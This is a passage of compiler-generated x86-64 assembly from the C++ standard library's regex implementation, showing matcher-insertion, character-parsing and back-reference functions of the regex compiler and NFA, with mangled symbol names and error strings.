QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+384] lea rax, [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1ELb0EEC1ERKS3_ mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1ELb0EEEvvEET_ lea rax, [rbp-64] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-96] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1533 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1533: add rsp, 96 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE27_M_insert_any_matcher_posixILb1ELb1EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 96 mov QWORD PTR [rbp-104], rdi mov rax, QWORD PTR [rbp-104] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+384] lea rax, [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1ELb1EEC1ERKS3_ mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1ELb1EEEvvEET_ lea rax, [rbp-64] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-96] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1537 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1537: add rsp, 96 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE26_M_insert_any_matcher_ecmaILb0ELb0EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 96 mov QWORD PTR [rbp-104], rdi mov rax, QWORD PTR [rbp-104] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+384] lea rax, [rbp-17] mov rsi, rdx mov rdi, rax call _ZNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0ELb0EEC1ERKS3_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0ELb0EEEvvEET_ lea rax, [rbp-64] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-96] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1541 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1541: add rsp, 96 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE26_M_insert_any_matcher_ecmaILb0ELb1EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 96 mov QWORD PTR [rbp-104], rdi mov rax, QWORD PTR [rbp-104] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+384] lea rax, [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0ELb1EEC1ERKS3_ mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0ELb1EEEvvEET_ lea rax, [rbp-64] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-96] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1545 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1545: add rsp, 96 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE26_M_insert_any_matcher_ecmaILb1ELb0EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 96 mov QWORD PTR [rbp-104], rdi mov rax, QWORD PTR [rbp-104] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+384] lea rax, [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1ELb0EEC1ERKS3_ mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1ELb0EEEvvEET_ lea rax, [rbp-64] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-96] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1549 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1549: add rsp, 96 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE26_M_insert_any_matcher_ecmaILb1ELb1EEEvv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 96 mov QWORD PTR [rbp-104], rdi mov rax, QWORD PTR [rbp-104] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r12, rax mov rax, QWORD PTR [rbp-104] mov rdx, QWORD PTR [rax+384] lea rax, [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1ELb1EEC1ERKS3_ mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail11_AnyMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1ELb1EEEvvEET_ lea rax, [rbp-64] mov rsi, rax mov rdi, r12 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov r12, rax mov rax, QWORD PTR [rbp-104] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-96] mov rdx, r12 mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-96] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1553 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1553: add rsp, 96 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE11_M_try_charEv: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov BYTE PTR [rbp-17], 0 mov rax, QWORD PTR [rbp-40] mov esi, 2 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1555 mov BYTE PTR [rbp-17], 1 mov rax, QWORD PTR [rbp-40] lea rbx, [rax+272] mov rax, QWORD PTR [rbp-40] mov esi, 8 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE16_M_cur_int_valueEi movsx eax, al mov edx, eax mov esi, 1 mov rdi, rbx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L1556 .L1555: mov rax, QWORD PTR [rbp-40] mov esi, 3 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1557 mov BYTE PTR [rbp-17], 1 mov rax, QWORD PTR [rbp-40] lea rbx, [rax+272] mov rax, QWORD PTR [rbp-40] mov esi, 16 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE16_M_cur_int_valueEi movsx eax, al mov edx, eax mov esi, 1 mov rdi, rbx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc jmp .L1556 .L1557: mov rax, QWORD PTR [rbp-40] mov esi, 1 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L1556 mov BYTE PTR [rbp-17], 1 .L1556: movzx eax, BYTE PTR [rbp-17] add rsp, 40 pop rbx pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE22_M_insert_char_matcherILb0ELb0EEEvv: push rbp mov rbp, rsp push r13 push r12 push rbx sub rsp, 104 mov QWORD PTR [rbp-120], rdi mov rax, QWORD PTR [rbp-120] lea r12, [rax+304] mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r13, rax mov rax, QWORD PTR [rbp-120] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-120] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx ecx, al lea rax, [rbp-34] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail12_CharMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EEC1EcRKS3_ movzx edx, WORD PTR [rbp-34] lea rax, [rbp-80] mov esi, edx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail12_CharMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EEEvvEET_ lea rax, [rbp-80] mov rsi, rax mov rdi, r13 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov rbx, rax mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-112] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-112] mov rsi, rax mov rdi, r12 call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-80] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1562 mov rbx, rax lea rax, [rbp-80] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1562: add rsp, 104 pop rbx pop r12 pop r13 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE22_M_insert_char_matcherILb0ELb1EEEvv: push rbp mov rbp, rsp push r13 push r12 push rbx sub rsp, 104 mov QWORD PTR [rbp-120], rdi mov rax, QWORD PTR [rbp-120] lea r12, [rax+304] mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r13, rax mov rax, QWORD PTR [rbp-120] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-120] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx ecx, al lea rax, [rbp-48] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail12_CharMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EEC1EcRKS3_ mov rcx, QWORD PTR [rbp-48] mov rdx, QWORD PTR [rbp-40] lea rax, [rbp-80] mov rsi, rcx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail12_CharMatcherINSt7__cxx1112regex_traitsIcEELb0ELb1EEEvvEET_ lea rax, [rbp-80] mov rsi, rax mov rdi, r13 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov rbx, rax mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-112] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-112] mov rsi, rax mov rdi, r12 call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-80] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1566 mov rbx, rax lea rax, [rbp-80] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1566: add rsp, 104 pop rbx pop r12 pop r13 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE22_M_insert_char_matcherILb1ELb0EEEvv: push rbp mov rbp, rsp push r13 push r12 push rbx sub rsp, 104 mov QWORD PTR [rbp-120], rdi mov rax, QWORD PTR [rbp-120] lea r12, [rax+304] mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r13, rax mov rax, QWORD PTR [rbp-120] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-120] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx ecx, al lea rax, [rbp-48] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail12_CharMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EEC1EcRKS3_ mov rcx, QWORD PTR [rbp-48] mov rdx, QWORD PTR [rbp-40] lea rax, [rbp-80] mov rsi, rcx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail12_CharMatcherINSt7__cxx1112regex_traitsIcEELb1ELb0EEEvvEET_ lea rax, [rbp-80] mov rsi, rax mov rdi, r13 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov rbx, rax mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-112] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-112] mov rsi, rax mov rdi, r12 call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-80] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1570 mov rbx, rax lea rax, [rbp-80] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1570: add rsp, 104 pop rbx pop r12 pop r13 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE22_M_insert_char_matcherILb1ELb1EEEvv: push rbp mov rbp, rsp push r13 push r12 push rbx sub rsp, 104 mov QWORD PTR [rbp-120], rdi mov rax, QWORD PTR [rbp-120] lea r12, [rax+304] mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov r13, rax mov rax, QWORD PTR [rbp-120] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-120] add rax, 272 mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx ecx, al lea rax, [rbp-48] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail12_CharMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EEC1EcRKS3_ mov rcx, QWORD PTR [rbp-48] mov rdx, QWORD PTR [rbp-40] lea rax, [rbp-80] mov rsi, rcx mov rdi, rax call _ZNSt8functionIFbcEEC1INSt8__detail12_CharMatcherINSt7__cxx1112regex_traitsIcEELb1ELb1EEEvvEET_ lea rax, [rbp-80] mov rsi, rax mov rdi, r13 call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_matcherESt8functionIFbcEE mov rbx, rax mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rcx, rax lea rax, [rbp-112] mov rdx, rbx mov rsi, rcx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEl lea rax, [rbp-112] mov rsi, rax mov rdi, r12 call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ lea rax, [rbp-80] mov rdi, rax call _ZNSt8functionIFbcEED1Ev jmp .L1574 mov rbx, rax lea rax, [rbp-80] mov rdi, rax call _ZNSt8functionIFbcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1574: add rsp, 104 pop rbx pop r12 pop r13 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE16_M_cur_int_valueEi: push rbp mov rbp, rsp push r12 push rbx sub rsp, 32 mov QWORD PTR [rbp-40], rdi mov DWORD PTR [rbp-44], esi mov QWORD PTR [rbp-24], 0 mov QWORD PTR [rbp-32], 0 .L1577: mov rax, QWORD PTR [rbp-40] add rax, 272 mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv cmp QWORD PTR [rbp-32], rax setb al test al, al je .L1576 mov eax, DWORD PTR [rbp-44] cdqe imul rax, QWORD PTR [rbp-24] mov r12, rax mov rax, QWORD PTR [rbp-40] mov rbx, QWORD PTR [rax+384] mov rax, QWORD PTR [rbp-40] lea rdx, [rax+272] mov rax, QWORD PTR [rbp-32] mov rsi, rax mov rdi, rdx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm movzx eax, BYTE PTR [rax] movsx eax, al mov edx, DWORD PTR [rbp-44] mov esi, eax mov rdi, rbx call _ZNKSt7__cxx1112regex_traitsIcE5valueEci cdqe add rax, r12 mov QWORD PTR [rbp-24], rax add QWORD PTR [rbp-32], 1 jmp .L1577 .L1576: mov rax, QWORD PTR [rbp-24] add rsp, 32 pop rbx pop r12 pop rbp ret .LC31: .string "Unexpected back-reference in polynomial mode." .LC32: .string "Back-reference index exceeds current sub-expression count." .LC33: .string "Back-reference referred to an opened sub-expression." _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE17_M_insert_backrefEm: push rbp mov rbp, rsp push rbx sub rsp, 152 mov QWORD PTR [rbp-152], rdi mov QWORD PTR [rbp-160], rsi mov rax, QWORD PTR [rbp-152] mov eax, DWORD PTR [rax+24] mov esi, 1024 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al test al, al je .L1580 mov esi, OFFSET FLAT:.LC31 mov edi, 11 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1580: mov rax, QWORD PTR [rbp-152] mov rax, QWORD PTR [rax+40] cmp QWORD PTR [rbp-160], rax jb .L1581 mov esi, OFFSET FLAT:.LC32 mov edi, 3 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1581: mov rax, QWORD PTR [rbp-152] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorImSaImEE5beginEv mov QWORD PTR [rbp-136], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorImSaImEE3endEv mov QWORD PTR [rbp-144], rax .L1584: lea rdx, [rbp-144] lea rax, [rbp-136] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxneIPmSt6vectorImSaImEEEEbRKNS_17__normal_iteratorIT_T0_EESA_ test al, al je .L1582 lea rax, [rbp-136] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEdeEv mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-160] cmp rax, QWORD PTR [rbp-32] jne .L1583 mov esi, OFFSET FLAT:.LC33 mov edi, 3 call _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc .L1583: lea rax, [rbp-136] mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPmSt6vectorImSaImEEEppEv jmp .L1584 .L1582: mov rax, QWORD PTR [rbp-152] mov BYTE PTR [rax+48], 1 lea rax, [rbp-128] mov esi, 3 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE mov rax, QWORD PTR [rbp-160] mov QWORD PTR [rbp-112], rax lea rax, [rbp-128] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax lea rax, [rbp-80] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1EOS1_ lea rdx, [rbp-80] mov rax, QWORD PTR [rbp-152] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-80] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-128] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L1588 mov rbx, rax lea rax, [rbp-80] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-128] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1588: add rsp, 152 pop rbx pop rbp ret _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdi, rax call _ZNSt6vectorINSt7__cxx1112regex_traitsIcE10_RegexMaskESaIS3_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 48 mov rdi, rax call _ZNSt6vectorISt4pairIccESaIS1_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdi, rax call _ZNSt6vectorINSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESaIS5_EED1Ev mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorIcSaIcEED1Ev nop leave ret _ZNSt8__detail15_BracketMatcherINSt7__cxx1112regex_traitsIcEELb0ELb0EEC2EOS4_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx 